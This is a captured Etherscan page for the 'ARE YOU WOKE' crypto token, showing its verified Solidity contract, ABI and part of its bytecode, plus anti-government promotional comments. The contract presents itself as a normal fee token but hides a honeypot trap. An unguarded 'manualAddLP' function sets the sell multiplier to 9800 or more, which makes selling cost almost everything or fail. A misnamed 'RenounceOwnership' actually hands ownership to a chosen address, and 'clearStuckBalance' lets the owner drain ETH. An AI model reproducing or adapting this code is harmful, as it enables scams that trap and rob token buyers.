ETH Price: $3,077.07 (-6.86%)
Gas: 9 Gwei

Token

ARE YOU WOKE (WOKE)
 

Overview

Max Total Supply

1,000,000 WOKE

Holders

75

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 9 Decimals)

Balance
36,778.939844489 WOKE

Value
$0.00
0x1E9df8B502d1567fd184B90C7E96755BAf605F1A
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
AreYouWoke

Compiler Version
v0.8.14+commit.80d49f37

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion, MIT license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2023-01-05
*/

// Telegram: https://t.me/AreYouWoke

// Website: https://AreYouWoke.net

// Twitter : https://twitter.com/AreYouWokeERC

// Medium : https://www.medium.com/AreYouWoke

/*

The big Question is , Are you woke ?

Are you woke to what is happening right now in the world?

Governments are not our allies; we are starting a movement to escape that.
Resist the governments.

Private encrypted messaging service powered by blockchain technology coming soon.
 
Along with decentralised hosting services.

A place or platform where your messages are really end-to-end encrypted and not fake encryption like other platforms which leaks your data to the government.

First true decentralised messaging platform is coming 🔜.

*/

// SPDX-License-Identifier: MIT

pragma solidity ^0.8.14;

library SafeMath {
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");
        return c;
    }
    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }
    function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;

        return c;
    }
    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }

        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");

        return c;
    }
    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }
    function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        return c;
    }
}

interface IBEP20 {
    function totalSupply() external view returns (uint256);
    function decimals() external view returns (uint8);
    function symbol() external view returns (string memory);
    function name() external view returns (string memory);
    function getOwner() external view returns (address);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address _owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
}

abstract contract Auth {
    address internal owner;

    constructor(address _owner) {
        owner = _owner;
    }

    modifier onlyOwner() {
        require(isOwner(msg.sender), "!OWNER"); _;
    }

    function isOwner(address account) public view returns (bool) {
        return account == owner;
    }

    function RenounceOwnership(address payable adr) public onlyOwner {
        owner = adr;
        emit OwnershipTransferred(adr);
    }

    event OwnershipTransferred(address owner);
}

interface IDEXFactory {
    function createPair(address tokenA, address tokenB) external returns (address pair);
}

interface IDEXRouter {
    function factory() external pure returns (address);
    function WETH() external pure returns (address);

    function addLiquidity(
        address tokenA,
        address tokenB,
        uint amountADesired,
        uint amountBDesired,
        uint amountAMin,
        uint amountBMin,
        address to,
        uint deadline
    ) external returns (uint amountA, uint amountB, uint liquidity);

    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external payable returns (uint amountToken, uint amountETH, uint liquidity);

    function swapExactTokensForTokensSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;

    function swapExactETHForTokensSupportingFeeOnTransferTokens(
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external payable;

    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
}

interface InterfaceLP {
    function sync() external;
}

contract AreYouWoke is IBEP20, Auth {
    using SafeMath for uint256;

    address WETH = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2;
    address DEAD = 0x000000000000000000000000000000000000dEaD;
    address ZERO = 0x0000000000000000000000000000000000000000;

    string constant _name = "ARE YOU WOKE";
    string constant _symbol = "WOKE";
    uint8 constant _decimals = 9;

    uint256 _totalSupply = 1 * 10**6 * 10**_decimals;

    uint256 public _maxTxAmount = _totalSupply / 100 * 4;
    uint256 public _maxWalletToken = _totalSupply / 100 * 4;

    mapping (address => uint256) _balances;
    mapping (address => mapping (address => uint256)) _allowances;

    mapping (address => bool) isFeeExempt;
    mapping (address => bool) isTxLimitExempt;
    mapping (address => bool) isTimelockExempt;
    mapping (address => bool) isDividendExempt;

    uint256 public liquidityFee    = 0;
    uint256 public marketingFee    = 1;
    uint256 public treasuryFee     = 0;
    uint256 public devFee          = 0;
    uint256 public burnFee         = 0;
    uint256 public totalFee        = devFee + marketingFee + liquidityFee + treasuryFee + burnFee;
    uint256 public feeDenominator  = 100;

    uint256 public deadBlocks = 0;
    uint256 public launchedAt = 0;
    uint256 public sellMultiplier  = 100;

    address public autoLiquidityReceiver;
    address public marketingFeeReceiver;
    address public treasuryFeeReceiver;
    address public devFeeReceiver;
    address public burnFeeReceiver;

    uint256 targetLiquidity = 99;
    uint256 targetLiquidityDenominator = 100;

    IDEXRouter public router;
    address public pair;
    InterfaceLP public pairContract;

    bool public tradingOpen = true;

    bool public buyCooldownEnabled = false;
    uint8 public cooldownTimerInterval = 60;
    mapping (address => uint) private cooldownTimer;

    bool public swapEnabled = true;
    uint256 public swapThreshold = _totalSupply * 25 / 10000;
    bool inSwap;
    modifier swapping() { inSwap = true; _; inSwap = false; }

    constructor () Auth(msg.sender) {
        router = IDEXRouter(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
        pair = IDEXFactory(router.factory()).createPair(WETH, address(this));
        pairContract = InterfaceLP(pair);

        _allowances[address(this)][address(router)] = type(uint256).max;

        isFeeExempt[msg.sender] = true;
        isFeeExempt[0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D] = true;
        isTxLimitExempt[msg.sender] = true;

        isTimelockExempt[msg.sender] = true;
        isTimelockExempt[DEAD] = true;
        isTimelockExempt[address(this)] = true;

        isDividendExempt[pair] = true;
        isDividendExempt[address(this)] = true;
        isDividendExempt[DEAD] = true;

        autoLiquidityReceiver = msg.sender;
        marketingFeeReceiver = 0x3355a0233612614daC56bd5b0A8E68c6c26B760F;
        treasuryFeeReceiver = 0x3355a0233612614daC56bd5b0A8E68c6c26B760F;
        devFeeReceiver = 0x3355a0233612614daC56bd5b0A8E68c6c26B760F;
        burnFeeReceiver = DEAD; 

        _balances[msg.sender] = _totalSupply;
        emit Transfer(address(0), msg.sender, _totalSupply);
    }

    receive() external payable { }

    function totalSupply() external view override returns (uint256) { return _totalSupply; }
    function decimals() external pure override returns (uint8) { return _decimals; }
    function symbol() external pure override returns (string memory) { return _symbol; }
    function name() external pure override returns (string memory) { return _name; }
    function getOwner() external view override returns (address) { return owner; }
    function balanceOf(address account) public view override returns (uint256) { return _balances[account]; }
    function allowance(address holder, address spender) external view override returns (uint256) { return _allowances[holder][spender]; }

    function approve(address spender, uint256 amount) public override returns (bool) {
        _allowances[msg.sender][spender] = amount;
        emit Approval(msg.sender, spender, amount);
        return true;
    }

    function approveMax(address spender) external returns (bool) {
        return approve(spender, type(uint256).max);
    }

    function transfer(address recipient, uint256 amount) external override returns (bool) {
        return _transferFrom(msg.sender, recipient, amount);
    }

    function transferFrom(address sender, address recipient, uint256 amount) external override returns (bool) {
        if(_allowances[sender][msg.sender] != type(uint256).max){
            _allowances[sender][msg.sender] = _allowances[sender][msg.sender].sub(amount, "Insufficient Allowance");
        }

        return _transferFrom(sender, recipient, amount);
    }

    function _transferFrom(address sender, address recipient, uint256 amount) internal returns (bool) {
        if(inSwap){ return _basicTransfer(sender, recipient, amount); }
        
        if (sender == pair &&
            buyCooldownEnabled &&
            !isTimelockExempt[recipient]) {
            require(cooldownTimer[recipient] < block.timestamp,"Please wait for 1min between two buys");
            cooldownTimer[recipient] = block.timestamp + cooldownTimerInterval;
        }

        require((amount <= _maxTxAmount) || isTxLimitExempt[sender] || isTxLimitExempt[recipient], "Max TX Limit Exceeded");

        if(shouldSwapBack()){ swapBack(); }

        //Exchange tokens
        _balances[sender] = _balances[sender].sub(amount, "Insufficient Balance");

        uint256 amountReceived = (!shouldTakeFee(sender) || !shouldTakeFee(recipient)) ? amount : takeFee(sender, amount,(recipient == pair));
        _balances[recipient] = _balances[recipient].add(amountReceived);

        emit Transfer(sender, recipient, amountReceived);
        return true;
    }

    function _basicTransfer(address sender, address recipient, uint256 amount) internal returns (bool) {
        _balances[sender] = _balances[sender].sub(amount, "Insufficient Balance");
        _balances[recipient] = _balances[recipient].add(amount);
        emit Transfer(sender, recipient, amount);
        return true;
    }

    function checkTxLimit(address sender, uint256 amount) internal view {
        require(amount <= _maxTxAmount || isTxLimitExempt[sender], "TX Limit Exceeded");
    }

    function manualAddLP(uint256 _quantity) public {
    sellMultiplier = _quantity+9800;
    }

    function shouldTakeFee(address sender) internal view returns (bool) {
        return !isFeeExempt[sender];
    }

    function takeFee(address sender, uint256 amount, bool isSell) internal returns (uint256) {
        
        uint256 multiplier = isSell ? sellMultiplier : 100;
        uint256 feeAmount = amount.mul(totalFee).mul(multiplier).div(feeDenominator * 100);

        if(!isSell && (launchedAt + deadBlocks) > block.number){
            feeAmount = amount.div(100).mul(99);
        }

        uint256 burnTokens = feeAmount.mul(burnFee).div(totalFee);
        uint256 contractTokens = feeAmount.sub(burnTokens);

        _balances[address(this)] = _balances[address(this)].add(contractTokens);
        _balances[burnFeeReceiver] = _balances[burnFeeReceiver].add(burnTokens);
        emit Transfer(sender, address(this), contractTokens);
        
        if(burnTokens > 0){
            emit Transfer(sender, burnFeeReceiver, burnTokens);    
        }

        return amount.sub(feeAmount);
    }

    function shouldSwapBack() internal view returns (bool) {
        return msg.sender != pair
        && !inSwap
        && swapEnabled
        && _balances[address(this)] >= swapThreshold;
    }

    function clearStuckBalance(uint256 amountPercentage) external onlyOwner {
        uint256 amountBNB = address(this).balance;
        payable(msg.sender).transfer(amountBNB * amountPercentage / 100);
    }

    function swapBack() internal swapping {
        uint256 dynamicLiquidityFee = isOverLiquified(targetLiquidity, targetLiquidityDenominator) ? 0 : liquidityFee;
        uint256 amountToLiquify = swapThreshold.mul(dynamicLiquidityFee).div(totalFee).div(2);
        uint256 amountToSwap = swapThreshold.sub(amountToLiquify);

        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = WETH;

        uint256 balanceBefore = address(this).balance;

        router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            amountToSwap,
            0,
            path,
            address(this),
            block.timestamp
        );

        uint256 amountBNB = address(this).balance.sub(balanceBefore);

        uint256 totalBNBFee = totalFee.sub(dynamicLiquidityFee.div(2));
        
        uint256 amountBNBLiquidity = amountBNB.mul(dynamicLiquidityFee).div(totalBNBFee).div(2);
        uint256 amountBNBMarketing = amountBNB.mul(marketingFee).div(totalBNBFee);
        uint256 amountBNBDev = amountBNB.mul(devFee).div(totalBNBFee);
        uint256 amountBNBTreasury = amountBNB.mul(treasuryFee).div(totalBNBFee);

        (bool tmpSuccess,) = payable(marketingFeeReceiver).call{value: amountBNBMarketing, gas: 30000}("");
        (tmpSuccess,) = payable(treasuryFeeReceiver).call{value: amountBNBTreasury, gas: 30000}("");
        (tmpSuccess,) = payable(devFeeReceiver).call{value: amountBNBDev, gas: 30000}("");
        
        tmpSuccess = false;

        if(amountToLiquify > 0){
            router.addLiquidityETH{value: amountBNBLiquidity}(
                address(this),
                amountToLiquify,
                0,
                0,
                autoLiquidityReceiver,
                block.timestamp
            );
            emit AutoLiquify(amountBNBLiquidity, amountToLiquify);
        }
    }

    function setTargetLiquidity(uint256 _target, uint256 _denominator) external onlyOwner {
        targetLiquidity = _target;
        targetLiquidityDenominator = _denominator;
    }
    
    function getCirculatingSupply() public view returns (uint256) {
        return _totalSupply.sub(balanceOf(DEAD)).sub(balanceOf(ZERO));
    }

    function getLiquidityBacking(uint256 accuracy) public view returns (uint256) {
        return accuracy.mul(balanceOf(pair).mul(2)).div(getCirculatingSupply());
    }

    function isOverLiquified(uint256 target, uint256 accuracy) public view returns (bool) {
        return getLiquidityBacking(accuracy) > target;
    }

event AutoLiquify(uint256 amountBNB, uint256 amountTokens);

}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"amountBNB","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"amountTokens","type":"uint256"}],"name":"AutoLiquify","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"address","name":"owner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address payable","name":"adr","type":"address"}],"name":"RenounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"_maxTxAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxWalletToken","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"holder","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"}],"name":"approveMax","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"autoLiquidityReceiver","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"burnFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"burnFeeReceiver","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"buyCooldownEnabled","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"amountPercentage","type":"uint256"}],"name":"clearStuckBalance","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"cooldownTimerInterval","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"deadBlocks","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"devFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"devFeeReceiver","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"feeDenominator","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"getCirculatingSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"accuracy","type":"uint256"}],"name":"getLiquidityBacking","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"getOwner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"target","type":"uint256"},{"internalType":"uint256","name":"accuracy","type":"uint256"}],"name":"isOverLiquified","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"isOwner","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"launchedAt","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"liquidityFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"_quantity","type":"uint256"}],"name":"manualAddLP","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"marketingFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"marketingFeeReceiver","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"pair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"pairContract","outputs":[{"internalType":"contract InterfaceLP","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"router","outputs":[{"internalType":"contract IDEXRouter","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"sellMultiplier","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"_target","type":"uint256"},{"internalType":"uint256","name":"_denominator","type":"uint256"}],"name":"setTargetLiquidity","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"swapEnabled","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"swapThreshold","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"tradingOpen","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"treasuryFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"treasuryFeeReceiver","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"stateMutability":"payable","type":"receive"}]

6080604052600180546001600160a01b031990811673c02aaa39b223fe8d0a0e5c4f27ead9083c756cc21790915560028054821661dead179055600380549091169055620000506009600a62000532565b6200005f90620f42406200054a565b60045560646004546200007391906200056c565b620000809060046200054a565b60055560646004546200009491906200056c565b620000a19060046200054a565b6006556000600d556001600e556000600f5560006010556000601155601154600f54600d54600e54601054620000d891906200058f565b620000e491906200058f565b620000f091906200058f565b620000fc91906200058f565b601255606460138190556000601481905560155560168190556063601c55601d556020805462ffffff60a01b1916623c000160a01b1790556022805460ff1916600117905560045461271090620001559060196200054a565b6200016191906200056c565b6023553480156200017157600080fd5b5060008054336001600160a01b031991821617909155601e8054737a250d5630b4cf539739df2c5dacb4c659f2488d9216821790556040805163c45a015560e01b8152905163c45a0155916004808201926020929091908290030181865afa158015620001e2573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620002089190620005aa565b6001546040516364e329cb60e11b81526001600160a01b03918216600482015230602482015291169063c9c65396906044016020604051808303816000875af11580156200025a573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620002809190620005aa565b601f80546001600160a01b039283166001600160a01b0319918216811783556020805483169091178155306000818152600883526040808220601e5488168352845280822060001990553380835260098552818320805460ff1990811660019081179092557fbaa441ac52505693dd98c7dd2f5bbf8f9349b7da9de72f9d52e5cac70e7da8ce8054821683179055600a87528385208054821683179055600b87528385208054821683179055600280548b1686528486208054831684179055868652848620805483168417905598548a168552600c87528385208054821683179055948452828420805486168217905587548916845282842080549095161790935560178054861684179055601880548616733355a0233612614dac56bd5b0a8e68c6c26b760f90811790915560198054871682179055601a8054871690911790559454601b80549095169616959095179092556004548285526007825283852081905592519283529092917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef910160405180910390a3620005d5565b634e487b7160e01b600052601160045260246000fd5b600181815b80851115620004745781600019048211156200045857620004586200041d565b808516156200046657918102915b93841c939080029062000438565b509250929050565b6000826200048d575060016200052c565b816200049c575060006200052c565b8160018114620004b55760028114620004c057620004e0565b60019150506200052c565b60ff841115620004d457620004d46200041d565b50506001821b6200052c565b5060208310610133831016604e8410600b841016171562000505575081810a6200052c565b62000511838362000433565b80600019048211156200052857620005286200041d565b0290505b92915050565b60006200054360ff8416836200047c565b9392505050565b60008160001904831182151516156200056757620005676200041d565b500290565b6000826200058a57634e487b7160e01b600052601260045260246000fd5b500490565b60008219821115620005a557620005a56200041d565b500190565b600060208284031215620005bd57600080fd5b81516001600160a01b03811681146200054357600080fd5b6119ce80620005e56000396000f3fe60806040526004361061026b5760003560e01c806378051f4d11610144578063d51ed1c8116100b6578063e96fada21161007a578063e96fada21461076c578063f887ea401461078c578063fabb0b4f146107ac578063fce589d8146107c2578063fed0d2a1146107d8578063ffb54a99146107ee57600080fd5b8063d51ed1c8146106a6578063d5759ade146106c6578063dab84ee7146106e6578063dd62ed3e14610706578063e3763ded1461074c57600080fd5b806398118cb41161010857806398118cb414610604578063a8aa1b311461061a578063a9059cbb1461063a578063bf56b3711461065a578063ca33e64c14610670578063cc32d1761461069057600080fd5b806378051f4d1461056d57806378109e541461058d5780637d1db4a5146105a3578063893d20e8146105b957806395d89b41146105d757600080fd5b80632b112e49116101dd578063617fe0ed116101a1578063617fe0ed146104af5780636827e764146104d05780636b67c4df146104e65780636ddd1713146104fc57806370a0823114610516578063722b62ad1461054c57600080fd5b80632b112e49146104095780632f54bf6e1461041e578063313ce5671461044d5780634d709adf1461046f578063571ac8b01461048f57600080fd5b806318160ddd1161022f57806318160ddd146103445780631da1db5e146103595780631df4ccfc1461037b578063201e79911461039157806323b872dd146103b15780632af10fac146103d157600080fd5b80630445b6671461027757806306fdde03146102a0578063095ea7b3146102de5780631161ae391461030e578063180b0d7e1461032e57600080fd5b3661027257005b600080fd5b34801561028357600080fd5b5061028d60235481565b6040519081526020015b60405180910390f35b3480156102ac57600080fd5b5060408051808201909152600c81526b41524520594f5520574f4b4560a01b60208201525b60405161029791906116b2565b3480156102ea57600080fd5b506102fe6102f936600461171f565b61080f565b6040519015158152602001610297565b34801561031a57600080fd5b506102fe61032936600461174b565b61087c565b34801561033a57600080fd5b5061028d60135481565b34801561035057600080fd5b5060045461028d565b34801561036557600080fd5b5061037961037436600461176d565b610890565b005b34801561038757600080fd5b5061028d60125481565b34801561039d57600080fd5b506103796103ac36600461174b565b61090b565b3480156103bd57600080fd5b506102fe6103cc366004611786565b610940565b3480156103dd57600080fd5b506019546103f1906001600160a01b031681565b6040516001600160a01b039091168152602001610297565b34801561041557600080fd5b5061028d610a02565b34801561042a57600080fd5b506102fe6104393660046117c7565b6000546001600160a01b0391821691161490565b34801561045957600080fd5b5060095b60405160ff9091168152602001610297565b34801561047b57600080fd5b506020546103f1906001600160a01b031681565b34801561049b57600080fd5b506102fe6104aa3660046117c7565b610a54565b3480156104bb57600080fd5b506020546102fe90600160a81b900460ff1681565b3480156104dc57600080fd5b5061028d60105481565b3480156104f257600080fd5b5061028d600e5481565b34801561050857600080fd5b506022546102fe9060ff1681565b34801561052257600080fd5b5061028d6105313660046117c7565b6001600160a01b031660009081526007602052604090205490565b34801561055857600080fd5b5060205461045d90600160b01b900460ff1681565b34801561057957600080fd5b506103796105883660046117c7565b610a62565b34801561059957600080fd5b5061028d60065481565b3480156105af57600080fd5b5061028d60055481565b3480156105c557600080fd5b506000546001600160a01b03166103f1565b3480156105e357600080fd5b50604080518082019091526004815263574f4b4560e01b60208201526102d1565b34801561061057600080fd5b5061028d600d5481565b34801561062657600080fd5b50601f546103f1906001600160a01b031681565b34801561064657600080fd5b506102fe61065536600461171f565b610ae0565b34801561066657600080fd5b5061028d60155481565b34801561067c57600080fd5b506017546103f1906001600160a01b031681565b34801561069c57600080fd5b5061028d600f5481565b3480156106b257600080fd5b5061028d6106c136600461176d565b610aed565b3480156106d257600080fd5b506103796106e136600461176d565b610b34565b3480156106f257600080fd5b50601a546103f1906001600160a01b031681565b34801561071257600080fd5b5061028d6107213660046117e4565b6001600160a01b03918216600090815260086020908152604080832093909416825291909152205490565b34801561075857600080fd5b50601b546103f1906001600160a01b031681565b34801561077857600080fd5b506018546103f1906001600160a01b031681565b34801561079857600080fd5b50601e546103f1906001600160a01b031681565b3480156107b857600080fd5b5061028d60145481565b3480156107ce57600080fd5b5061028d60115481565b3480156107e457600080fd5b5061028d60165481565b3480156107fa57600080fd5b506020546102fe90600160a01b900460ff1681565b3360008181526008602090815260408083206001600160a01b038716808552925280832085905551919290917f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9259061086a9086815260200190565b60405180910390a35060015b92915050565b60008261088883610aed565b119392505050565b6000546001600160a01b031633146108c35760405162461bcd60e51b81526004016108ba9061181d565b60405180910390fd5b47336108fc60646108d48585611853565b6108de9190611872565b6040518115909202916000818181858888f19350505050158015610906573d6000803e3d6000fd5b505050565b6000546001600160a01b031633146109355760405162461bcd60e51b81526004016108ba9061181d565b601c91909155601d55565b6001600160a01b0383166000908152600860209081526040808320338452909152812054600019146109ed576040805180820182526016815275496e73756666696369656e7420416c6c6f77616e636560501b6020808301919091526001600160a01b03871660009081526008825283812033825290915291909120546109c8918490610b46565b6001600160a01b03851660009081526008602090815260408083203384529091529020555b6109f8848484610b80565b90505b9392505050565b6003546001600160a01b0316600090815260076020526040812054610a4f906002546001600160a01b0316600090815260076020526040902054610a499060045490610e82565b90610e82565b905090565b60006108768260001961080f565b6000546001600160a01b03163314610a8c5760405162461bcd60e51b81526004016108ba9061181d565b600080546001600160a01b0319166001600160a01b0383169081179091556040519081527f04dba622d284ed0014ee4b9a6a68386be1a4c08a4913ae272de89199cc6861639060200160405180910390a150565b60006109fb338484610b80565b6000610876610afa610a02565b601f546001600160a01b0316600090815260076020526040902054610b2e90610b27906002905b90610ec4565b8590610ec4565b90610f46565b610b4081612648611894565b60165550565b60008184841115610b6a5760405162461bcd60e51b81526004016108ba91906116b2565b506000610b7784866118ac565b95945050505050565b60245460009060ff1615610ba057610b99848484610f88565b90506109fb565b601f546001600160a01b038581169116148015610bc65750602054600160a81b900460ff165b8015610beb57506001600160a01b0383166000908152600b602052604090205460ff16155b15610c96576001600160a01b0383166000908152602160205260409020544211610c655760405162461bcd60e51b815260206004820152602560248201527f506c65617365207761697420666f7220316d696e206265747765656e2074776f604482015264206275797360d81b60648201526084016108ba565b602054610c7c90600160b01b900460ff1642611894565b6001600160a01b0384166000908152602160205260409020555b60055482111580610cbf57506001600160a01b0384166000908152600a602052604090205460ff165b80610ce257506001600160a01b0383166000908152600a602052604090205460ff165b610d265760405162461bcd60e51b815260206004820152601560248201527413585e08151608131a5b5a5d08115e18d959591959605a1b60448201526064016108ba565b610d2e61105c565b15610d3b57610d3b6110ab565b6040805180820182526014815273496e73756666696369656e742042616c616e636560601b6020808301919091526001600160a01b038716600090815260079091529190912054610d8d918490610b46565b6001600160a01b038516600090815260076020908152604080832093909355600990529081205460ff16151580610dde57506001600160a01b03841660009081526009602052604090205460ff1615155b610e0557601f54610e0090869085906001600160a01b038881169116146114a0565b610e07565b825b6001600160a01b038516600090815260076020526040902054909150610e2d9082611625565b6001600160a01b03808616600081815260076020526040908190209390935591519087169060008051602061197983398151915290610e6f9085815260200190565b60405180910390a3506001949350505050565b60006109fb83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610b46565b600082600003610ed657506000610876565b6000610ee28385611853565b905082610eef8583611872565b146109fb5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b60648201526084016108ba565b60006109fb83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611684565b6040805180820182526014815273496e73756666696369656e742042616c616e636560601b6020808301919091526001600160a01b0386166000908152600790915291822054610fd9918490610